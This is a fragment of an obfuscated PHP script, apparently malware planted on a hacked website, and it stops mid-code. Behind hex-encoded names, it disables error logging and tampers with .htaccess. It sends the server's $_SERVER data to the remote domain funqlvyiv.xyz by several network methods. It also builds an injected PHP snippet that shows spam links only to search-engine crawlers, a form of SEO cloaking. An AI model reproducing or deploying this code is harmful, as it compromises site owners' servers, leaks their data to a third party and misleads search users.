${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6dq\x6c\x7au\x67ct"]                         = "\x68\x74a\x63c\x65\x73\x73\x66\x69l\x65na\x6de";
${"\x47\x4c\x4f\x42\x41LS"}["c\x71\x73\x75\x74e\x72\x72"]                      = "\x68t\x61\x63c\x65\x73\x73\x66i\x6c\x65\x74\x69m\x65";
${"G\x4c\x4f\x42\x41L\x53"}["\x68\x74\x79m\x70\x75"]                           = "\x69\x74em";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64xv\x63b\x71\x64"]                          = "\x74ex\x74";
${"\x47L\x4fBA\x4c\x53"}["\x77qvt\x6f\x6b"]                                    = "goo\x64\x70a\x67\x65";
${"G\x4c\x4f\x42A\x4c\x53"}["c\x77trx\x70y\x73"]                               = "\x73\x69t\x65u\x72l";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x6et\x70\x73\x78\x6c"]                    = "\x66\x69\x6c\x65\x6e\x61m\x65";
${"\x47LOB\x41\x4cS"}["\x77\x67\x74\x66\x71\x77\x62"]                          = "u\x72l\x34";
${"GL\x4f\x42\x41LS"}["\x69\x6a\x6d\x6ep\x74\x74\x78"]                         = "co\x6et\x65\x6et";
${"G\x4c\x4f\x42A\x4c\x53"}["i\x78ed\x61u\x75ag"]                              = "\x6d\x61t\x63\x68es";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73wc\x67\x73\x74\x6d\x67h"]               = "\x69d";
${"\x47\x4c\x4f\x42\x41LS"}["e\x6cfck\x74z\x62\x71\x66\x62"]                   = "\x67\x6f\x6fdj\x6foml\x61\x70\x61\x67\x65";
${"G\x4cO\x42\x41L\x53"}["j\x79c\x69\x66\x76\x6a\x6c\x70\x6c"]                 = "\x61l\x69as";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x74\x77\x68\x6f\x6d\x69\x6e\x6ac\x6f"] = "ti\x74l\x65\x74e\x6dp";
${"G\x4c\x4f\x42A\x4cS"}["\x74nq\x71\x62ul\x6d\x62m"]                          = "\x69d\x74em\x70";
${"\x47\x4cO\x42\x41L\x53"}["m\x63\x66n\x6f\x6a\x67"]                          = "j\x6f\x6fm\x6c\x61\x75rl";
${"G\x4cO\x42\x41\x4cS"}["lu\x69\x67xsc"]                                      = "\x67\x6f\x6f\x64\x77\x6frdpr\x65\x73\x73\x70a\x67e";
${"\x47L\x4f\x42\x41L\x53"}["\x66\x6f\x71l\x74\x76l\x62\x7abm"]                = "p\x65rm\x61\x6cin\x6b";
${"GL\x4f\x42A\x4c\x53"}["\x75\x69\x69\x6f\x6a\x63\x6bmy"]                     = "\x70\x6fs\x74\x5f\x69\x64";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x68\x72\x72\x63\x64\x79q"]                = "\x70os\x74\x5fd\x61\x74\x61";
${"G\x4cO\x42A\x4c\x53"}["\x71\x63\x76\x6c\x61yi"]                             = "\x63\x68\x61r\x73";
${"GL\x4f\x42\x41LS"}["n\x6fu\x79\x62\x7a\x69\x7au"]                           = "slug\x6ea\x6d\x65";
${"G\x4c\x4f\x42A\x4cS"}["\x72\x79l\x78\x74e"]                                 = "si\x74\x65\x5fr\x6f\x6ft_di\x72";
${"G\x4c\x4f\x42\x41L\x53"}["c\x75\x7a\x6c\x6d\x66c\x68\x73"]                  = "\x63ou\x6e\x74\x65r";
${"G\x4cO\x42\x41\x4c\x53"}["r\x72\x76\x6f\x77\x71o"]                          = "l\x69\x6ek\x74odo\x6f\x72";
${"\x47L\x4fB\x41\x4cS"}["w\x74\x68\x73\x74\x6cd\x72\x67"]                     = "\x70\x65\x72\x6ds";
${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x6bx\x74um\x67\x7a\x67"]                     = "j\x6f\x6f\x6d\x6c\x61\x66\x69\x6c\x65\x73";
${"\x47L\x4f\x42A\x4cS"}["\x6d\x6f\x68\x74p\x72vx\x66"]                        = "\x66\x69l\x65\x74i\x6d\x65";
${"G\x4c\x4f\x42\x41\x4c\x53"}["ij\x68i\x66\x63yt\x64ux"]                      = "\x64\x6fo\x72\x64\x6fma\x69\x6e";
${"G\x4cOBAL\x53"}["b\x63h\x72frw\x70"]                                        = "p\x61\x72\x61\x6d";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6b\x68i"]            = "i\x6e\x63\x66il\x65\x63\x6f\x6ete\x6et";
${"GLOBA\x4cS"}["\x68wjnb\x63\x6c\x71"]                                        = "\x69\x6e\x63fil\x65\x63o\x6ete\x6e\x74o\x72\x69\x67\x69\x6e\x61\x6c";
${"G\x4c\x4f\x42A\x4cS"}["\x6ex\x64v\x73\x79\x69v\x79"]                        = "\x69\x6e\x63fi\x6c\x65";
${"\x47\x4cO\x42A\x4c\x53"}["yn\x71\x78k\x64"]                                 = "i";
${"\x47\x4c\x4fBA\x4c\x53"}["\x61v\x70\x6e\x77\x68\x67\x62\x75\x6f\x65"]       = "wp\x66i\x6c\x65\x73";
${"\x47\x4cO\x42\x41\x4cS"}["gj\x77\x72\x77\x69\x63\x79\x68\x6f\x6e"]          = "\x74\x69\x6d\x65";
${"\x47\x4c\x4f\x42A\x4cS"}["\x7af\x70\x6b\x74\x6e"]                           = "f";
${"\x47\x4c\x4fBA\x4c\x53"}["tjm\x78\x74\x70\x6c\x72\x70\x7a\x70"]             = "\x63\x75r\x72f\x69let\x69me";
${"GL\x4f\x42A\x4c\x53"}["w\x66\x79\x72n\x6b\x68bdr"]                          = "b\x6f\x64\x79";
${"GL\x4f\x42A\x4c\x53"}["\x6e\x65m\x63\x79r\x6a\x71\x67w"]                    = "\x68\x65\x61\x64\x65\x72";
${"\x47L\x4f\x42A\x4c\x53"}["lz\x65\x66v\x65\x63i"]                            = "\x72\x65\x73\x70";
${"\x47\x4c\x4f\x42\x41L\x53"}["fm\x6a\x79\x77\x6d\x6e"]                       = "da\x74\x61";
${"G\x4c\x4f\x42\x41\x4cS"}["\x69\x6c\x78\x73ujb"]                             = "\x6f\x75\x74";
${"G\x4c\x4fB\x41\x4c\x53"}["\x76vovj\x6e\x6c\x72"]                            = "\x65rr\x73\x74\x72";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x74upj\x68\x6a\x62xx\x67"]                    = "e\x72\x72\x6eo";
${"\x47L\x4fB\x41L\x53"}["\x6b\x6bxh\x74\x6e\x77ue\x6ft"]                      = "fp";
${"G\x4cOBALS"}["re\x6eg\x6c\x70m"]                                            = "\x63u\x72\x6c\x75r\x6c";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x6cp\x67\x63\x71"]                        = "c\x68";
${"G\x4c\x4f\x42\x41\x4c\x53"}["to\x66\x7ah\x77\x76\x6fzg"]                    = "\x67o\x6f";
${"\x47\x4cOB\x41L\x53"}["\x75d\x69k\x73\x6e\x66\x73y\x65"]                    = "c\x6f\x6e\x74\x65xt";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x74\x69\x65\x73x\x62\x68o"]            = "\x66g\x63\x75\x72l";
${"G\x4c\x4f\x42\x41L\x53"}["\x79o\x74pp\x79m"]                                = "\x6a\x6a";
${"GLOBA\x4c\x53"}["\x66\x76\x62mc\x74\x77\x70"]                               = "c\x61\x72\x64as";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x6f\x77\x74\x62\x70mw"]                   = "l\x69n\x6ba\x6e\x63hor";
${"GL\x4fB\x41L\x53"}["uuqz\x6e\x66\x64s\x67i\x64i"]                           = "l\x69\x6e\x6bof\x64\x6f\x6f\x72";
${"G\x4c\x4f\x42\x41L\x53"}["\x72\x61\x75c\x64\x75\x67\x62\x6a\x66\x68"]       = "slas\x68\x73cr\x69\x70\x74\x6ea\x6d\x65";
${"\x47L\x4f\x42A\x4cS"}["l\x62\x72\x78\x70\x6f\x75e\x6b\x70"]                 = "s\x63\x72ip\x74\x6e\x61\x6d\x65";
${"\x47\x4cO\x42\x41L\x53"}["or\x6c\x68\x72\x63o\x67rg\x67\x6d"]               = "p\x75t";
${"G\x4cO\x42A\x4cS"}["i\x68\x77f\x6f\x77\x74\x6eu\x6ai"]                      = "\x75\x72\x6c3";
${"G\x4c\x4f\x42A\x4c\x53"}["\x6e\x69\x6dj\x6b\x6ei\x71"]                      = "\x64\x6f\x6d\x61i\x6e";
${"\x47LO\x42\x41L\x53"}["\x62\x61\x71c\x78\x68w\x67\x6f"]                     = "ur\x6c\x32";
${"G\x4cO\x42\x41\x4c\x53"}["\x6bpgyi\x63e\x76\x79\x7a"]                       = "\x75\x72l";
${"\x47\x4cO\x42\x41LS"}["\x77\x6d\x6aa\x63\x76\x65\x79\x76v"]                 = "\x66\x69le3";
${"\x47\x4c\x4fB\x41L\x53"}["f\x79\x6a\x6f\x77\x68a"]                          = "f\x69l\x65";
${"GL\x4fBAL\x53"}["e\x6a\x72\x67\x63m\x77\x72jf"]                             = "\x63\x6f\x6f\x6b\x69\x65b\x6f\x74";
${"\x47\x4c\x4fB\x41\x4cS"}["\x6bt\x64\x79\x78r\x75\x69\x67lo\x6a"]            = "\x63\x6fo\x6b\x69ed\x6f\x6d\x61\x69\x6e";
${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x6b\x70xl\x65\x61\x65\x6ce\x78"]             = "c\x6f\x6f\x6bie\x76a\x6c\x75\x65";
${"GLOB\x41\x4c\x53"}["\x62\x71\x78f\x72\x6b\x65"]                             = "\x74\x68";
${"G\x4c\x4f\x42AL\x53"}["\x73\x6fa\x63\x72\x71g\x67"]                         = "v";
${"\x47\x4c\x4f\x42A\x4cS"}["\x67\x75m\x67\x66\x67q\x63\x6b\x72z"]             = "\x66\x69\x6ce\x32";
header("\x43\x6fn\x74\x65\x6e\x74-T\x79pe: \x74\x65\x78t/\x68\x74\x6d\x6c; c\x68a\x72s\x65\x74=\x75t\x66-8");
error_reporting(0);
@ini_set("d\x69s\x70\x6ca\x79_er\x72o\x72s", "\x4f\x66\x66");
@ini_set("set\x5fti\x6de\x5flim\x69t", 1000);
$rhwfhxig                                                   = "\x75rl";
${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x68\x72bi\x77\x62zq\x62"] = "\x70\x75\x74";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6eo\x78gv\x6f\x6du"]      = "f\x69\x6c\x65\x32";
$hbsqnbybf                                                  = "u\x72\x6c\x32";
$gahfqjtjgcy                                                = "\x66\x69l\x65";
${"G\x4cOB\x41\x4c\x53"}["oe\x71\x64\x72d\x65kt\x64\x66"]   = "\x76\x6c";
$sxcwpa                                                     = "u\x72\x6c";
@ini_set("m\x61\x78_\x69n\x70u\x74\x5fti\x6de", 1000);
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x64\x77\x79\x79hxf\x73\x79"] = "\x70\x75\x74";
${"G\x4cO\x42A\x4c\x53"}["pu\x74\x6f\x64g\x74l\x79o"]             = "\x6c\x69n\x6b\x61\x6e\x63\x68or";
@ini_set("\x6d\x61\x78\x5fex\x65\x63u\x74i\x6fn\x5fti\x6d\x65", 1000);
@set_time_limit(1000);
@ini_set("\x65r\x72\x6fr_log", NULL);
$aszulylo = "\x64\x6fmai\x6e";
@ini_set("log\x5fe\x72\x72ors", 0);
@ob_end_flush();
htaccessnormalize();
${${"\x47\x4cOBA\x4c\x53"}["\x73\x6f\x61cr\x71gg"]}                      = "1.6.2";
${${"\x47\x4cOB\x41\x4cS"}["\x62\x71x\x66r\x6be"]}                       = "edutop";
$unlybrkcowxg                                                            = "\x64om\x61\x69\x6e";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x65q\x64\x72\x64\x65\x6b\x74df"]} = "z";
${"\x47\x4c\x4fB\x41\x4c\x53"}["ypnt\x61\x6bc\x69fle"]                   = "\x6a\x6a";
if (!$_COOKIE["la\x6e\x67\x69dz"]) {
    ${"\x47\x4cOB\x41\x4c\x53"}["\x63vn\x78\x67g\x79v\x67\x76"]           = "c\x6f\x6f\x6bie\x6e\x61\x6d\x65";
    ${"\x47\x4cOB\x41\x4c\x53"}["\x6d\x6c\x6fjk\x64\x74\x63\x61\x74"]     = "c\x6f\x6f\x6bi\x65bo\x74";
    ${${"G\x4cOB\x41\x4c\x53"}["\x63v\x6ex\x67\x67\x79\x76\x67\x76"]}     = "\x6cang\x69\x64z";
    $gfapfpgir                                                            = "\x63\x6f\x6fkie\x64o\x6dai\x6e";
    ${${"\x47L\x4fB\x41L\x53"}["\x6d\x6b\x70\x78\x6c\x65ae\x6c\x65\x78"]} = str_shuffle("\x64\x65\x6cp\x7ao\x6e\x73");
    ${${"\x47\x4cO\x42A\x4c\x53"}["\x6btd\x79\x78\x72ui\x67loj"]}         = $_SERVER[HTTP_HOST];
    if (preg_match("\x23^ww\x77\\\x2e\x23", ${${"G\x4c\x4f\x42AL\x53"}["k\x74\x64\x79\x78\x72\x75i\x67\x6c\x6f\x6a"]})) {
        ${"G\x4c\x4f\x42A\x4cS"}["\x78lm\x79\x69\x66\x79\x6a\x72"]    = "c\x6fo\x6bi\x65d\x6f\x6da\x69\x6e";
        $pfbtpcdsbu                                                   = "\x63\x6fok\x69\x65\x64\x6f\x6da\x69\x6e";
        ${${"\x47LO\x42\x41\x4c\x53"}["\x78l\x6d\x79i\x66y\x6a\x72"]} = preg_replace("\x23^\x77ww\\.#", ${$pfbtpcdsbu});
    }
    ${${"G\x4cOB\x41\x4c\x53"}["\x6d\x6c\x6fj\x6bd\x74\x63at"]} = "\x79es";
    ${"\x47\x4cOB\x41\x4cS"}["\x6a\x78\x74woo\x65v"]            = "\x63\x6f\x6f\x6b\x69e\x6e\x61\x6d\x65";
    if (setcookie(${${"\x47L\x4f\x42\x41L\x53"}["\x6a\x78t\x77\x6fo\x65\x76"]}, ${${"\x47L\x4f\x42\x41L\x53"}["\x6d\x6b\x70\x78\x6cea\x65\x6ce\x78"]}, time() + 3600 * 24, "/", ${$gfapfpgir})) {
        ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ej\x72\x67\x63\x6dw\x72\x6af"]} = "no";
    }
} else {
    ${${"GL\x4f\x42\x41\x4c\x53"}["\x65\x6a\x72gc\x6d\x77\x72j\x66"]} = "\x6eo";
}
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6bm\x74t\x65\x61me"]                       = "\x64\x6fo\x72d\x6fm\x61in";
${$unlybrkcowxg}                                                             = "\x66\x75n\x71l\x76\x79i\x76\x2exy\x7a";
${${"\x47LO\x42A\x4c\x53"}["\x66y\x6a\x6f\x77\x68\x61"]}                     = "/\x68\x61\x6edl\x65r\x73/\x67e\x74c\x6fn\x74ent\x2eph\x70";
${${"\x47L\x4f\x42ALS"}["\x6e\x6f\x78\x67\x76\x6f\x6d\x75"]}                 = "/\x68\x61\x6edle\x72\x73/g\x65t\x74emp\x6cat\x65\x2e\x70\x68\x70";
${${"G\x4cO\x42\x41L\x53"}["\x77mjac\x76\x65y\x76v"]}                        = "/\x68\x61n\x64\x6ce\x72s/u\x70da\x74e.p\x68p";
${${"\x47L\x4f\x42\x41\x4cS"}["\x6b\x70\x67\x79\x69\x63e\x76\x79\x7a"]}      = "htt\x70://" . ${$aszulylo} . ${$gahfqjtjgcy};
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62a\x71cx\x68wg\x6f"]}                = "\x68\x74t\x70://" . ${${"G\x4c\x4f\x42A\x4cS"}["\x6ei\x6djk\x6e\x69\x71"]} . ${${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x75\x6d\x67\x66gq\x63\x6brz"]};
$fucocooznlil                                                                = "\x75\x72\x6c\x32";
${"G\x4cO\x42A\x4c\x53"}["\x72\x78\x66\x6c\x74\x66w"]                        = "\x70\x75t";
${${"\x47\x4cO\x42\x41\x4cS"}["\x69\x68wf\x6fw\x74n\x75\x6a\x69"]}           = "\x68\x74\x74p://" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69\x6d\x6a\x6b\x6e\x69\x71"]} . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x6dja\x63\x76ey\x76\x76"]};
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6fr\x6ch\x72\x63o\x67\x72\x67\x67\x6d"]} = array(
    "c\x6f\x6et\x65\x6et",
    "t\x65st",
    "p\x72o\x78y",
    "\x66ile",
    "\x2e\x335",
    "t\x65m\x70\x6c\x61\x74\x65",
    "28.",
    "1\x32.",
    "id",
    "pa\x67e",
    "2\x317.",
    "\x64\x6fma\x69n",
    "\x66u\x6ecti\x6fn\x73",
    "2\x315.",
    "\x387\x2e",
    "\x66orm",
    "tra\x63\x6b",
    "s\x74\x72\x5frep\x6c\x61c\x65",
    "n\x61me",
    "25\x30",
    "\x37\x37\x2e",
    "me\x74h\x6f\x64",
    "e\x72ro\x72_\x6c\x6f\x67",
    "p\x61\x73\x73w\x6fr\x64",
    "\x73\x65\x74\x5f\x74\x69\x6de_\x6c\x69m\x69\x74",
    "c\x75\x72l",
    "l\x69\x6e\x6bs",
    "\x66\x69\x6c\x65_\x67et\x5f\x63\x6f\x6et\x65nts",
    "\x67e\x74",
    "i\x6e\x64\x65\x78\x2e\x70h\x70",
    "\x69ncl\x75de\x5fon\x63\x65",
    "max_\x69\x6ep\x75\x74\x5ftime",
    "P\x4f\x53\x54",
    "s\x70ri\x6etf",
    "\x320\x34.",
    "\x63u\x72l\x5f\x73e\x74o\x70\x74",
    "re\x73\x75lt",
    "\x6c\x6fg",
    "\x6da\x78_ex\x65cuti\x6f\x6e\x5f\x74\x69\x6d\x65",
    "\x65xpl\x6fd\x65",
    "\x55\x52\x49",
    "\x66i\x6ce\x5fput\x5fconte\x6et\x73",
    "scr\x69pt",
    "s\x79\x73\x74em",
    "c\x6fnne\x63t",
    "\x47E\x54",
    "a\x70pli\x63at\x69on/x-\x77w\x77-fo\x72\x6d-u\x72\x6cenco\x64ed",
    "tr\x69m",
    "\x53\x45\x52VE\x52",
    "pr\x65g\x5fr\x65\x70\x6ca\x63e",
    "r\x65q\x75i\x72e\x5fo\x6ece",
    "\x2e\x32",
    "\x66o\x70e\x6e"
);
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6cbr\x78\x70\x6f\x75\x65kp"]}            = preg_replace("\x23^/\x23\x69", "", $_SERVER[SCRIPT_NAME]);
${${"\x47\x4c\x4fB\x41\x4cS"}["km\x74\x74\x65\x61\x6de"]}                    = $_SERVER[HTTP_HOST];
$etwrovy                                                                     = "\x6ci\x6ek\x74\x6f\x64\x6fo\x72";
${${"\x47LO\x42\x41\x4cS"}["\x72a\x75\x63\x64u\x67\x62\x6a\x66h"]}           = $_SERVER[SCRIPT_NAME];
${${"\x47\x4c\x4fBA\x4cS"}["\x75\x75\x71\x7an\x66d\x73\x67\x69\x64i"]}       = "\x68tt\x70://$doordomain" . "$slashscriptname";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x75t\x6fdg\x74\x6cy\x6f"]}               = array(
    "b\x6co\x67",
    "Blo\x67",
    "in\x66\x6f",
    "I\x6ef\x6f",
    "\x63on\x74ac\x74",
    "\x43\x6f\x6e\x74a\x63t",
    "mag\x61\x7a\x69\x6ee",
    "Maga\x7a\x69ne",
    "\x67al\x6c\x65\x72\x79",
    "\x47al\x6c\x65r\x79",
    "\x61bout\x20u\x73",
    "A\x62ou\x74 \x75s",
    "\x41b\x6f\x75t\x20U\x73"
);
$fpvftok                                                                     = "j\x6a";
shuffle(${${"\x47\x4cO\x42A\x4cS"}["\x6a\x6fw\x74b\x70\x6d\x77"]});
${$etwrovy}                                                        = "<?php if(!@\$\x63o\x64e\x76y\x70){if(\x70reg_\x6d\x61t\x63h(\x27/\x61\x6cl\x74h\x65\x77eb|aol|\x62a\x69\x64\x75|\x62i\x6eg|c\x72\x61w\x6c\x65\x72|\x64\x6f\x67\x70i\x6c\x65|d\x75\x63\x6b\x64uc\x6bb\x6ft|go\x6f\x67l\x65|i\x6ek\x74\x6f\x6d\x69|i\x73\x72\x61\x65\x6c\x69s\x65a\x72\x63h|\x6cycos|\x6d\x73n|sco\x6ft\x65r|s\x6curp|\x73pi\x64\x65r|t-\x72ex|teo\x6d\x61|y\x61\x68oo|ya\x6e\x64e\x78|s\x65\x7an\x61\x6d/\x69',\$_\x53\x45R\x56ER[\x27H\x54\x54\x50_\x55S\x45R_\x41G\x45NT\x27])){ec\x68\x6f \x22<\x61 hr\x65f\x3d'" . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["uuqzn\x66\x64s\x67\x69\x64i"]} . "' s\x74y\x6c\x65\x3d\\\x22fo\x6e\x74-\x73\x69ze:" . mt_rand(30, 45) . "\x70\x78;c\x6f\x6cor:bl\x61c\x6b\x3bma\x72g\x69\x6e-\x74o\x70:20\x70\x78 \x21\x69m\x70\x6f\x72\x74a\x6e\x74\x3b\x62a\x63kg\x72\x6f\x75\x6e\x64:\x77\x68ite\x3bp\x6f\x73i\x74\x69on:a\x62s\x6f\x6cu\x74\x65;\x6d\x61rg\x69n-\x6c\x65ft:20px;\x5c\"\x3e" . ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x6f\x77\x74b\x70\x6dw"]}[0] . "\x3c/a\x3e<b\x72\x20/\x3e\x22;}@\$\x63\x6fd\x65v\x79p=\x74\x72u\x65\x3b}?\x3e";
${${"G\x4c\x4f\x42A\x4cS"}["f\x76\x62m\x63\x74\x77\x70"]}          = ${${"G\x4cOBAL\x53"}["\x6ei\x6d\x6ak\x6e\x69\x71"]};
${${"\x47\x4c\x4f\x42\x41LS"}["\x79o\x74\x70\x70\x79\x6d"]}        = ${${"\x47LOBA\x4c\x53"}["b\x64w\x79\x79\x68\x78\x66s\x79"]}[10] . ${${"\x47L\x4f\x42\x41\x4c\x53"}["rx\x66\x6c\x74\x66w"]}[7] . ${${"\x47L\x4f\x42A\x4cS"}["o\x72\x6ch\x72\x63\x6f\x67\x72\x67\x67\x6d"]}[34] . ${${"G\x4cOB\x41L\x53"}["\x74\x68rb\x69w\x62\x7a\x71b"]}[19];
${$rhwfhxig}                                                       = preg_replace("/$cardas/i", ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x70nt\x61\x6bcifl\x65"]}, ${$sxcwpa});
${$fucocooznlil}                                                   = preg_replace("/$cardas/\x69", ${$fpvftok}, ${$hbsqnbybf});
${${"G\x4cO\x42\x41L\x53"}["\x69\x68\x77fo\x77\x74\x6e\x75\x6ai"]} = preg_replace("/$cardas/\x69", ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["yot\x70pym"]}, ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69\x68\x77f\x6f\x77t\x6e\x75\x6a\x69"]});
if (isset($_GET["ge\x6e"])) {
    if (ini_get("al\x6cow_\x75r\x6c_fope\x6e") == 1) {
        ${${"\x47\x4c\x4fBA\x4c\x53"}["st\x69\x65\x73\x78\x62\x68\x6f"]}        = "$url2?\x67endo\x6dain\x3d$doordomain&\x66i\x6c\x65\x6e\x61\x6de=$scriptname\x26\x74h=$th&\x76l\x3d$vl\x26\x76=" . urlencode(${${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x6f\x61c\x72\x71g\x67"]});
        ${"\x47\x4cO\x42A\x4cS"}["u\x75\x65\x62\x70\x66of"]                     = "f\x67\x63u\x72\x6c";
        ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75d\x69\x6bs\x6e\x66\x73\x79\x65"]} = stream_context_create(array(
            "ht\x74\x70" => array(
                "m\x65\x74\x68o\x64" => "\x50OST",
                "he\x61\x64\x65r" => array(
                    "\x43ontent-\x74y\x70\x65:\x20app\x6cic\x61ti\x6f\x6e/\x78-www-\x66o\x72\x6d-urlen\x63\x6fd\x65d"
                ),
                "\x63o\x6ete\x6e\x74" => http_build_query($_SERVER)
            )
        ));
        ${${"\x47\x4c\x4fBA\x4cS"}["\x74\x6f\x66\x7a\x68\x77\x76\x6f\x7a\x67"]} = @file_get_contents(${${"G\x4cO\x42A\x4cS"}["\x75\x75\x65\x62\x70\x66\x6f\x66"]}, false, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["u\x64\x69k\x73\x6e\x66\x73\x79\x65"]});
    } elseif (function_exists("\x63ur\x6c\x5f\x69\x6e\x69\x74")) {
        ${"G\x4c\x4f\x42A\x4cS"}["\x71m\x69qw\x73\x65sz"]          = "\x63\x75\x72\x6cu\x72\x6c";
        $jczfljp                                                   = "c\x68";
        $wwoccghva                                                 = "c\x68";
        ${${"\x47\x4cO\x42A\x4c\x53"}["\x71miq\x77\x73\x65s\x7a"]} = "$url2?\x67en\x64o\x6dain=$doordomain\x26\x66il\x65\x6e\x61\x6de=$scriptname\x26\x74h\x3d$th&\x76\x6c\x3d$vl&\x76=" . urlencode(${${"\x47L\x4f\x42A\x4cS"}["s\x6f\x61crqg\x67"]});
        ${${"\x47L\x4f\x42\x41\x4c\x53"}["wl\x70\x67\x63q"]}       = curl_init();
        curl_setopt(${$jczfljp}, CURLOPT_URL, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72en\x67\x6c\x70\x6d"]});
        $irmzlvofwnw = "\x63h";
        curl_setopt(${${"\x47\x4cOBA\x4c\x53"}["w\x6cpgc\x71"]}, CURLOPT_HEADER, false);
        curl_setopt(${$irmzlvofwnw}, CURLOPT_RETURNTRANSFER, true);
        curl_setopt(${$wwoccghva}, CURLOPT_REFERER, "");
        $ltmfjfkpn                                                                 = "ch";
        ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x6ff\x7a\x68\x77\x76\x6f\x7a\x67"]} = @curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x6c\x70\x67\x63q"]});
        curl_close(${$ltmfjfkpn});
    } elseif (function_exists("fso\x63kop\x65\x6e")) {
        ${"\x47L\x4fBAL\x53"}["i\x64\x70\x64\x65\x64\x7a"]                    = "car\x64\x61s";
        $onmssxlf                                                             = "f\x70";
        ${${"G\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68t\x6e\x77\x75e\x6ft"]} = fsockopen(${${"G\x4cO\x42\x41\x4c\x53"}["i\x64\x70\x64\x65\x64z"]}, 80, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74u\x70j\x68j\x62\x78\x78\x67"]}, ${${"GL\x4f\x42\x41L\x53"}["v\x76\x6f\x76j\x6e\x6cr"]}, 10);
        if (${$onmssxlf}) {
            $xongqbzmhexz                                          = "\x6fut";
            $dloytqlbvezt                                          = "\x64\x61t\x61";
            $ctqdmvn                                               = "\x66p";
            $auizqnuq                                              = "\x6fu\x74";
            ${"G\x4cO\x42\x41\x4c\x53"}["\x73i\x72\x66kql\x7a"]    = "\x64\x61\x74a";
            ${${"\x47L\x4f\x42\x41LS"}["\x73irf\x6b\x71\x6c\x7a"]} = http_build_query($_SERVER);
            ${$auizqnuq}                                           = "POST $file2?ge\x6ed\x6fm\x61i\x6e\x3d$doordomain&f\x69l\x65\x6e\x61\x6de=$scriptname\x26th=$th\x26v\x6c\x3d$vl\x26\x76=" . urlencode(${${"\x47\x4cO\x42\x41\x4cS"}["s\x6fac\x72\x71g\x67"]}) . " \x48\x54\x54\x50/\x31\x2e\x30\r\n";
            $xbfwvwfjigc                                           = "r\x65\x73\x70";
            ${${"\x47L\x4f\x42\x41L\x53"}["i\x6c\x78s\x75jb"]} .= "H\x6fst:\x20$cardas\r\n";
            ${$xongqbzmhexz} .= "C\x6fn\x74\x65\x6e\x74-\x54y\x70\x65:\x20\x61ppli\x63a\x74ion/\x78-w\x77w-form-u\x72\x6ce\x6ecod\x65\x64\r\n";
            ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x69l\x78\x73\x75j\x62"]} .= "Con\x74\x65nt-Le\x6e\x67\x74h: " . strlen(${${"\x47\x4cO\x42\x41LS"}["\x66\x6d\x6a\x79w\x6d\x6e"]}) . "\r\n\r\n";
            fwrite(${${"\x47LO\x42A\x4c\x53"}["k\x6bx\x68t\x6ew\x75\x65\x6f\x74"]}, ${${"\x47\x4cOBA\x4cS"}["\x69\x6cxs\x75\x6a\x62"]});
            fwrite(${$ctqdmvn}, ${$dloytqlbvezt});
            ${${"\x47L\x4f\x42\x41L\x53"}["l\x7a\x65\x66\x76\x65\x63\x69"]} = "";
            while (!feof(${${"\x47L\x4fB\x41\x4cS"}["\x6b\x6b\x78\x68\x74\x6e\x77\x75\x65\x6ft"]})) {
                ${"\x47L\x4fB\x41\x4c\x53"}["\x6fz\x64\x62\x6c\x70r"] = "r\x65\x73\x70";
                ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x7a\x64\x62\x6c\x70\x72"]} .= fgets(${${"G\x4cO\x42A\x4cS"}["\x6b\x6b\x78ht\x6e\x77u\x65\x6f\x74"]}, 4096);
            }
            fclose(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6b\x78\x68\x74\x6e\x77\x75\x65\x6f\x74"]});
            list(${${"\x47\x4c\x4f\x42\x41L\x53"}["ne\x6dcy\x72\x6a\x71\x67\x77"]}, ${${"G\x4c\x4fBA\x4c\x53"}["\x77\x66yr\x6e\x6bh\x62\x64r"]}) = @preg_split("/\\R\x5c\x52/", ${$xbfwvwfjigc}, 2);
            ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74o\x66\x7ah\x77\x76\x6fz\x67"]} = ${${"G\x4c\x4fB\x41LS"}["\x77fyr\x6ek\x68\x62\x64\x72"]};
        }
    } else {
        ${${"GL\x4f\x42A\x4c\x53"}["\x74\x6f\x66\x7a\x68\x77\x76\x6f\x7a\x67"]} = "fuc\x6bth\x69\x73s\x68e\x6cl";
    }
